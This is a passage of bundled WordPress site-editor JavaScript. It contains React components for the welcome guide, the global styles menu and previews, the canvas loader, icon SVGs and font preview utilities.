10371 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
10372 "Note that the same template can be used by multiple pages, so any changes made here may affect other pages on the site. To switch back to editing the page content click the \u2018Back\u2019 button in the toolbar."
10373 ) })
10374 ] })
10375 }
10376 ]
10377 }
10378 );
10379}
10380
10381
10382;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/index.js
10383
10384
10385
10386
10387
10388function WelcomeGuide({ postType }) {
10389 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10390 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideEditor, {}),
10391 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideStyles, {}),
10392 postType === "page" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuidePage, {}),
10393 postType === "wp_template" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideTemplate, {})
10394 ] });
10395}
10396
10397
10398;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-renderer/index.js
10399
10400
10401
10402
10403
10404const { useGlobalStylesOutput } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
10405function useGlobalStylesRenderer(disableRootPadding) {
10406 const [styles, settings] = useGlobalStylesOutput(disableRootPadding);
10407 const { getSettings } = (0,external_wp_data_.useSelect)(store);
10408 const { updateSettings } = (0,external_wp_data_.useDispatch)(store);
10409 (0,external_wp_element_.useEffect)(() => {
10410 if (!styles || !settings) {
10411 return;
10412 }
10413 const currentStoreSettings = getSettings();
10414 const nonGlobalStyles = Object.values(
10415 currentStoreSettings.styles ?? []
10416 ).filter((style) => !style.isGlobalStyles);
10417 updateSettings({
10418 ...currentStoreSettings,
10419 styles: [...nonGlobalStyles, ...styles],
10420 __experimentalFeatures: settings
10421 });
10422 }, [styles, settings, updateSettings, getSettings]);
10423}
10424function GlobalStylesRenderer({ disableRootPadding }) {
10425 useGlobalStylesRenderer(disableRootPadding);
10426 return null;
10427}
10428
10429
10430;// ./node_modules/@wordpress/edit-site/build-module/components/canvas-loader/index.js
10431
10432
10433
10434
10435
10436
10437
10438const { Theme } = unlock(external_wp_components_namespaceObject.privateApis);
10439const { useGlobalStyle: canvas_loader_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
10440function CanvasLoader({ id }) {
10441 const [fallbackIndicatorColor] = canvas_loader_useGlobalStyle("color.text");
10442 const [backgroundColor] = canvas_loader_useGlobalStyle("color.background");
10443 const { highlightedColors } = useStylesPreviewColors();
10444 const indicatorColor = highlightedColors[0]?.color ?? fallbackIndicatorColor;
10445 const { elapsed, total } = (0,external_wp_data_.useSelect)((select) => {
10446 const selectorsByStatus = select(external_wp_coreData_namespaceObject.store).countSelectorsByStatus();
10447 const resolving = selectorsByStatus.resolving ?? 0;
10448 const finished = selectorsByStatus.finished ?? 0;
10449 return {
10450 elapsed: finished,
10451 total: finished + resolving
10452 };
10453 }, []);
10454 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-canvas-loader", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Theme, { accent: indicatorColor, background: backgroundColor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, { id, max: total, value: elapsed }) }) });
10455}
10456
10457
10458;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-navigate-to-entity-record.js
10459
10460
10461
10462const { useHistory: use_navigate_to_entity_record_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
10463function useNavigateToEntityRecord() {
10464 const history = use_navigate_to_entity_record_useHistory();
10465 const onNavigateToEntityRecord = (0,external_wp_element_.useCallback)(
10466 (params) => {
10467 history.navigate(
10468 `/${params.postType}/${params.postId}?canvas=edit&focusMode=true`
10469 );
10470 },
10471 [history]
10472 );
10473 return onNavigateToEntityRecord;
10474}
10475
10476
10477;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-site-editor-settings.js
10478
10479
10480
10481
10482
10483
10484
10485
10486const { useLocation: use_site_editor_settings_useLocation, useHistory: use_site_editor_settings_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
10487function useNavigateToPreviousEntityRecord() {
10488 const location = use_site_editor_settings_useLocation();
10489 const previousLocation = (0,external_wp_compose_namespaceObject.usePrevious)(location);
10490 const history = use_site_editor_settings_useHistory();
10491 const goBack = (0,external_wp_element_.useMemo)(() => {
10492 const isFocusMode = location.query.focusMode || location?.params?.postId && FOCUSABLE_ENTITIES.includes(location?.params?.postType);
10493 const didComeFromEditorCanvas = previousLocation?.query.canvas === "edit";
10494 const showBackButton = isFocusMode && didComeFromEditorCanvas;
10495 return showBackButton ? () => history.back() : void 0;
10496 }, [location, history]);
10497 return goBack;
10498}
10499function useSpecificEditorSettings() {
10500 const { query } = use_site_editor_settings_useLocation();
10501 const { canvas = "view" } = query;
10502 const onNavigateToEntityRecord = useNavigateToEntityRecord();
10503 const { settings } = (0,external_wp_data_.useSelect)((select) => {
10504 const { getSettings } = select(store);
10505 return {
10506 settings: getSettings()
10507 };
10508 }, []);
10509 const onNavigateToPreviousEntityRecord = useNavigateToPreviousEntityRecord();
10510 const defaultEditorSettings = (0,external_wp_element_.useMemo)(() => {
10511 return {
10512 ...settings,
10513 richEditingEnabled: true,
10514 supportsTemplateMode: true,
10515 focusMode: canvas !== "view",
10516 onNavigateToEntityRecord,
10517 onNavigateToPreviousEntityRecord,
10518 isPreviewMode: canvas === "view"
10519 };
10520 }, [
10521 settings,
10522 canvas,
10523 onNavigateToEntityRecord,
10524 onNavigateToPreviousEntityRecord
10525 ]);
10526 return defaultEditorSettings;
10527}
10528
10529
10530;// ./node_modules/@wordpress/edit-site/build-module/components/plugin-template-setting-panel/index.js
10531
10532
10533
10534
10535
10536const { Fill, Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("PluginTemplateSettingPanel");
10537const PluginTemplateSettingPanel = ({ children }) => {
10538 external_wp_deprecated_default()("wp.editSite.PluginTemplateSettingPanel", {
10539 since: "6.6",
10540 version: "6.8",
10541 alternative: "wp.editor.PluginDocumentSettingPanel"
10542 });
10543 const isCurrentEntityTemplate = (0,external_wp_data_.useSelect)(
10544 (select) => select(external_wp_editor_namespaceObject.store).getCurrentPostType() === "wp_template",
10545 []
10546 );
10547 if (!isCurrentEntityTemplate) {
10548 return null;
10549 }
10550 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, { children });
10551};
10552PluginTemplateSettingPanel.Slot = Slot;
10553var plugin_template_setting_panel_default = PluginTemplateSettingPanel;
10554
10555
10556;// ./node_modules/@wordpress/icons/build-module/library/seen.js
10557
10558
10559var seen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z" }) });
10560
10561
10562;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
10563
10564
10565var more_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
10566
10567
10568;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/icon-with-current-color.js
10569
10570
10571
10572function IconWithCurrentColor({ className, ...props }) {
10573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10574 external_wp_components_namespaceObject.Icon,
10575 {
10576 className: dist_clsx(
10577 className,
10578 "edit-site-global-styles-icon-with-current-color"
10579 ),
10580 ...props
10581 }
10582 );
10583}
10584
10585
10586;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/navigation-button.js
10587
10588
10589
10590function GenericNavigationButton({ icon, children, ...props }) {
10591 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItem, { ...props, children: [
10592 icon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
10593 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, { icon, size: 24 }),
10594 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children })
10595 ] }),
10596 !icon && children
10597 ] });
10598}
10599function NavigationButtonAsItem(props) {
10600 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Button, { as: GenericNavigationButton, ...props });
10601}
10602function NavigationBackButtonAsItem(props) {
10603 return /* @__PURE__ */ jsx(Navigator.BackButton, { as: GenericNavigationButton, ...props });
10604}
10605
10606
10607;// ./node_modules/@wordpress/icons/build-module/library/typography.js
10608
10609
10610var typography_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m8.6 7 3.9 10.8h-1.7l-1-2.8H5.7l-1 2.8H3L6.9 7h1.7Zm-2.4 6.6h3L7.7 9.3l-1.5 4.3ZM17.691 8.879c.473 0 .88.055 1.221.165.352.1.643.264.875.495.274.253.456.572.544.957.088.374.132.83.132 1.37v4.554c0 .274.033.472.099.593.077.11.198.166.363.166.11 0 .215-.028.313-.083.11-.055.237-.137.38-.247l.165.28a3.304 3.304 0 0 1-.71.446c-.23.11-.527.165-.89.165-.352 0-.639-.055-.858-.165-.22-.11-.386-.27-.495-.479-.1-.209-.149-.468-.149-.775-.286.462-.627.814-1.023 1.056-.396.242-.858.363-1.386.363-.462 0-.858-.088-1.188-.264a1.752 1.752 0 0 1-.742-.726 2.201 2.201 0 0 1-.248-1.056c0-.484.11-.875.33-1.172.22-.308.5-.556.841-.742.352-.187.721-.341 1.106-.462.396-.132.765-.253 1.106-.363.351-.121.637-.259.857-.413.232-.154.347-.357.347-.61V10.81c0-.396-.066-.71-.198-.941a1.05 1.05 0 0 0-.511-.511 1.763 1.763 0 0 0-.76-.149c-.253 0-.522.039-.808.116a1.165 1.165 0 0 0-.677.412 1.1 1.1 0 0 1 .595.396c.165.187.247.424.247.71 0 .307-.104.55-.313.726-.198.176-.451.263-.76.263-.34 0-.594-.104-.758-.313a1.231 1.231 0 0 1-.248-.759c0-.297.072-.539.214-.726.154-.187.352-.363.595-.528.264-.176.6-.324 1.006-.445.418-.121.88-.182 1.386-.182Zm.99 3.729a1.57 1.57 0 0 1-.528.462c-.231.121-.479.248-.742.38a5.377 5.377 0 0 0-.76.462c-.23.165-.423.38-.577.643-.154.264-.231.6-.231 1.007 0 .429.11.77.33 1.023.22.242.517.363.891.363.308 0 .594-.088.858-.264.275-.176.528-.44.759-.792v-3.284Z" }) });
10611
10612
10613;// ./node_modules/@wordpress/icons/build-module/library/color.js
10614
10615
10616var color_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z" }) });
10617
10618
10619;// ./node_modules/@wordpress/icons/build-module/library/background.js
10620
10621
10622var background_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10623 external_wp_primitives_namespaceObject.Path,
10624 {
10625 fillRule: "evenodd",
10626 clipRule: "evenodd",
10627 d: "M11.53 4.47a.75.75 0 1 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm5 1a.75.75 0 1 0-1.06 1.06l2 2a.75.75 0 1 0 1.06-1.06l-2-2Zm-11.06 10a.75.75 0 0 1 1.06 0l2 2a.75.75 0 1 1-1.06 1.06l-2-2a.75.75 0 0 1 0-1.06Zm.06-5a.75.75 0 0 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm-.06-3a.75.75 0 0 1 1.06 0l10 10a.75.75 0 1 1-1.06 1.06l-10-10a.75.75 0 0 1 0-1.06Zm3.06-2a.75.75 0 0 0-1.06 1.06l10 10a.75.75 0 1 0 1.06-1.06l-10-10Z"
10628 }
10629) });
10630
10631
10632;// ./node_modules/@wordpress/icons/build-module/library/shadow.js
10633
10634
10635var shadow_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z" }) });
10636
10637
10638;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/root-menu.js
10639
10640
10641
10642
10643
10644
10645
10646const {
10647 useHasDimensionsPanel,
10648 useHasTypographyPanel,
10649 useHasColorPanel,
10650 useGlobalSetting: root_menu_useGlobalSetting,
10651 useSettingsForBlockElement,
10652 useHasBackgroundPanel
10653} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
10654function RootMenu() {
10655 const [rawSettings] = root_menu_useGlobalSetting("");
10656 const settings = useSettingsForBlockElement(rawSettings);
10657 const hasBackgroundPanel = useHasBackgroundPanel(rawSettings);
10658 const hasTypographyPanel = useHasTypographyPanel(settings);
10659 const hasColorPanel = useHasColorPanel(settings);
10660 const hasShadowPanel = true;
10661 const hasDimensionsPanel = useHasDimensionsPanel(settings);
10662 const hasLayoutPanel = hasDimensionsPanel;
10663 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { children: [
10664 hasTypographyPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10665 NavigationButtonAsItem,
10666 {
10667 icon: typography_default,
10668 path: "/typography",
10669 children: (0,external_wp_i18n_namespaceObject.__)("Typography")
10670 }
10671 ),
10672 hasColorPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { icon: color_default, path: "/colors", children: (0,external_wp_i18n_namespaceObject.__)("Colors") }),
10673 hasBackgroundPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10674 NavigationButtonAsItem,
10675 {
10676 icon: background_default,
10677 path: "/background",
10678 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Background styles"),
10679 children: (0,external_wp_i18n_namespaceObject.__)("Background")
10680 }
10681 ),
10682 hasShadowPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { icon: shadow_default, path: "/shadows", children: (0,external_wp_i18n_namespaceObject.__)("Shadows") }),
10683 hasLayoutPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { icon: layout_default, path: "/layout", children: (0,external_wp_i18n_namespaceObject.__)("Layout") })
10684 ] }) });
10685}
10686var root_menu_default = RootMenu;
10687
10688
10689;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/preview-styles.js
10690function findNearest(input, numbers) {
10691 if (numbers.length === 0) {
10692 return null;
10693 }
10694 numbers.sort((a, b) => Math.abs(input - a) - Math.abs(input - b));
10695 return numbers[0];
10696}
10697function extractFontWeights(fontFaces) {
10698 const result = [];
10699 fontFaces.forEach((face) => {
10700 const weights = String(face.fontWeight).split(" ");
10701 if (weights.length === 2) {
10702 const start = parseInt(weights[0]);
10703 const end = parseInt(weights[1]);
10704 for (let i = start; i <= end; i += 100) {
10705 result.push(i);
10706 }
10707 } else if (weights.length === 1) {
10708 result.push(parseInt(weights[0]));
10709 }
10710 });
10711 return result;
10712}
10713function formatFontFamily(input) {
10714 const regex = /^(?!generic\([ a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/;
10715 const output = input.trim();
10716 const formatItem = (item) => {
10717 item = item.trim();
10718 if (item.match(regex)) {
10719 item = item.replace(/^["']|["']$/g, "");
10720 return `"${item}"`;
10721 }
10722 return item;
10723 };
10724 if (output.includes(",")) {
10725 return output.split(",").map(formatItem).filter((item) => item !== "").join(", ");
10726 }
10727 return formatItem(output);
10728}
10729function formatFontFaceName(input) {
10730 if (!input) {
10731 return "";
10732 }
10733 let output = input.trim();
10734 if (output.includes(",")) {
10735 output = output.split(",").find((item) => item.trim() !== "").trim();
10736 }
10737 output = output.replace(/^["']|["']$/g, "");
10738 if (window.navigator.userAgent.toLowerCase().includes("firefox")) {
10739 output = `"${output}"`;
10740 }
10741 return output;
10742}
10743function getFamilyPreviewStyle(family) {
10744 const style = { fontFamily: formatFontFamily(family.fontFamily) };
10745 if (!Array.isArray(family.fontFace)) {
10746 style.fontWeight = "400";
10747 style.fontStyle = "normal";
10748 return style;
10749 }
10750 if (family.fontFace) {
10751 const normalFaces = family.fontFace.filter(
10752 (face) => face?.fontStyle && face.fontStyle.toLowerCase() === "normal"
10753 );
10754 if (normalFaces.length > 0) {
10755 style.fontStyle = "normal";
10756 const normalWeights = extractFontWeights(normalFaces);
10757 const nearestWeight = findNearest(400, normalWeights);
10758 style.fontWeight = String(nearestWeight) || "400";
10759 } else {
10760 style.fontStyle = family.fontFace.length && family.fontFace[0].fontStyle || "normal";
10761 style.fontWeight = family.fontFace.length && String(family.fontFace[0].fontWeight) || "400";
10762 }
10763 }
10764 return style;
10765}
10766function getFacePreviewStyle(face) {
10767 return {
10768 fontFamily: formatFontFamily(face.fontFamily),
10769 fontStyle: face.fontStyle || "normal",
10770 fontWeight: face.fontWeight || "400"
10771 };
10772}
10773
10774
10775;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/utils.js
10776function getVariationClassName(variation) {
10777 if (!variation) {
10778 return "";
10779 }
10780 return `is-style-${variation}`;
10781}
10782function getNewIndexFromPresets(presets, slugPrefix) {
10783 const nameRegex = new RegExp(`^${slugPrefix}([\\d]+)$`);
10784 const highestPresetValue = presets.reduce((currentHighest, preset) => {
10785 if (typeof preset?.slug === "string") {
10786 const matches = preset?.slug.match(nameRegex);
10787 if (matches) {
10788 const id = parseInt(matches[1], 10);
10789 if (id > currentHighest) {
10790 return id;
10791 }
10792 }
10793 }
10794 return currentHighest;
10795 }, 0);
10796 return highestPresetValue + 1;
10797}
10798function getFontFamilyFromSetting(fontFamilies, setting) {
10799 if (!Array.isArray(fontFamilies) || !setting) {
10800 return null;
10801 }
10802 const fontFamilyVariable = setting.replace("var(", "").replace(")", "");
10803 const fontFamilySlug = fontFamilyVariable?.split("--").slice(-1)[0];
10804 return fontFamilies.find(
10805 (fontFamily) => fontFamily.slug === fontFamilySlug
10806 );
10807}
10808function getFontFamilies(themeJson) {
10809 const themeFontFamilies = themeJson?.settings?.typography?.fontFamilies?.theme;
10810 const customFontFamilies = themeJson?.settings?.typography?.fontFamilies?.custom;
10811 let fontFamilies = [];
10812 if (themeFontFamilies && customFontFamilies) {
10813 fontFamilies = [...themeFontFamilies, ...customFontFamilies];
10814 } else if (themeFontFamilies) {
10815 fontFamilies = themeFontFamilies;
10816 } else if (customFontFamilies) {
10817 fontFamilies = customFontFamilies;
10818 }
10819 const bodyFontFamilySetting = themeJson?.styles?.typography?.fontFamily;
10820 const bodyFontFamily = getFontFamilyFromSetting(
10821 fontFamilies,
10822 bodyFontFamilySetting
10823 );
10824 const headingFontFamilySetting = themeJson?.styles?.elements?.heading?.typography?.fontFamily;
10825 let headingFontFamily;
10826 if (!headingFontFamilySetting) {
10827 headingFontFamily = bodyFontFamily;
10828 } else {
10829 headingFontFamily = getFontFamilyFromSetting(
10830 fontFamilies,
10831 themeJson?.styles?.elements?.heading?.typography?.fontFamily
10832 );
10833 }
10834 return [bodyFontFamily, headingFontFamily];
10835}
10836
10837
10838;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-example.js
10839
10840
10841
10842
10843
10844
10845
10846
10847
10848const { useGlobalStyle: typography_example_useGlobalStyle, GlobalStylesContext: typography_example_GlobalStylesContext } = unlock(
10849 external_wp_blockEditor_namespaceObject.privateApis
10850);
10851const { mergeBaseAndUserConfigs } = unlock(external_wp_editor_namespaceObject.privateApis);
10852function PreviewTypography({ fontSize, variation }) {
10853 const { base } = (0,external_wp_element_.useContext)(typography_example_GlobalStylesContext);
10854 let config = base;
10855 if (variation) {
10856 config = mergeBaseAndUserConfigs(base, variation);
10857 }
10858 const [textColor] = typography_example_useGlobalStyle("color.text");
10859 const [bodyFontFamilies, headingFontFamilies] = getFontFamilies(config);
10860 const bodyPreviewStyle = bodyFontFamilies ? getFamilyPreviewStyle(bodyFontFamilies) : {};
10861 const headingPreviewStyle = headingFontFamilies ? getFamilyPreviewStyle(headingFontFamilies) : {};
10862 if (textColor) {
10863 bodyPreviewStyle.color = textColor;
10864 headingPreviewStyle.color = textColor;
10865 }
10866 if (fontSize) {
10867 bodyPreviewStyle.fontSize = fontSize;
10868 headingPreviewStyle.fontSize = fontSize;
10869 }
10870 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10871 external_wp_components_namespaceObject.__unstableMotion.div,
10872 {
10873 animate: {
10874 scale: 1,
10875 opacity: 1
10876 },
10877 initial: {
10878 scale: 0.1,
10879 opacity: 0
10880 },
10881 transition: {
10882 delay: 0.3,
10883 type: "tween"
10884 },
10885 style: {
10886 textAlign: "center",
10887 lineHeight: 1
10888 },
10889 children: [
10890 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { style: headingPreviewStyle, children: (0,external_wp_i18n_namespaceObject._x)("A", "Uppercase letter A") }),
10891 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { style: bodyPreviewStyle, children: (0,external_wp_i18n_namespaceObject._x)("a", "Lowercase letter A") })
10892 ]
10893 }
10894 );
10895}
10896
10897
10898;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/highlighted-colors.js
10899
10900
10901
10902function HighlightedColors({
10903 normalizedColorSwatchSize,
10904 ratio
10905}) {
10906 const { highlightedColors } = useStylesPreviewColors();
10907 const scaledSwatchSize = normalizedColorSwatchSize * ratio;
10908 return highlightedColors.map(({ slug, color }, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10909 external_wp_components_namespaceObject.__unstableMotion.div,
10910 {
10911 style: {
10912 height: scaledSwatchSize,
10913 width: scaledSwatchSize,
10914 background: color,
10915 borderRadius: scaledSwatchSize / 2
10916 },
10917 animate: {
10918 scale: 1,
10919 opacity: 1
10920 },
10921 initial: {
10922 scale: 0.1,
10923 opacity: 0
10924 },
10925 transition: {
10926 delay: index === 1 ? 0.2 : 0.1
10927 }
10928 },
10929 `${slug}-${index}`
10930 ));
10931}
10932
10933
10934;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-wrapper.js
10935
10936
10937
10938
10939
10940
10941const { useGlobalStyle: preview_wrapper_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
10942const normalizedWidth = 248;
10943const normalizedHeight = 152;
10944const THROTTLE_OPTIONS = {
10945 leading: true,
10946 trailing: true
10947};
10948function PreviewWrapper({
10949 children,
10950 label,
10951 isFocused,
10952 withHoverView
10953}) {
10954 const [backgroundColor = "white"] = preview_wrapper_useGlobalStyle("color.background");
10955 const [gradientValue] = preview_wrapper_useGlobalStyle("color.gradient");
10956 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
10957 const [isHovered, setIsHovered] = (0,external_wp_element_.useState)(false);
10958 const [containerResizeListener, { width }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
10959 const [throttledWidth, setThrottledWidthState] = (0,external_wp_element_.useState)(width);
10960 const [ratioState, setRatioState] = (0,external_wp_element_.useState)();
10961 const setThrottledWidth = (0,external_wp_compose_namespaceObject.useThrottle)(
10962 setThrottledWidthState,
10963 250,
10964 THROTTLE_OPTIONS
10965 );
10966 (0,external_wp_element_.useLayoutEffect)(() => {
10967 if (width) {
10968 setThrottledWidth(width);
10969 }
10970 }, [width, setThrottledWidth]);
10971 (0,external_wp_element_.useLayoutEffect)(() => {
10972 const newRatio = throttledWidth ? throttledWidth / normalizedWidth : 1;
10973 const ratioDiff = newRatio - (ratioState || 0);
10974 const isRatioDiffBigEnough = Math.abs(ratioDiff) > 0.1;
10975 if (isRatioDiffBigEnough || !ratioState) {
10976 setRatioState(newRatio);
10977 }
10978 }, [throttledWidth, ratioState]);
10979 const fallbackRatio = width ? width / normalizedWidth : 1;
10980 const ratio = ratioState ? ratioState : fallbackRatio;
10981 const isReady = !!width;
10982 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10983 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { position: "relative" }, children: containerResizeListener }),
10984 isReady && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10985 "div",
10986 {
10987 className: "edit-site-global-styles-preview__wrapper",
10988 style: {
10989 height: normalizedHeight * ratio
10990 },
10991 onMouseEnter: () => setIsHovered(true),
10992 onMouseLeave: () => setIsHovered(false),
10993 tabIndex: -1,
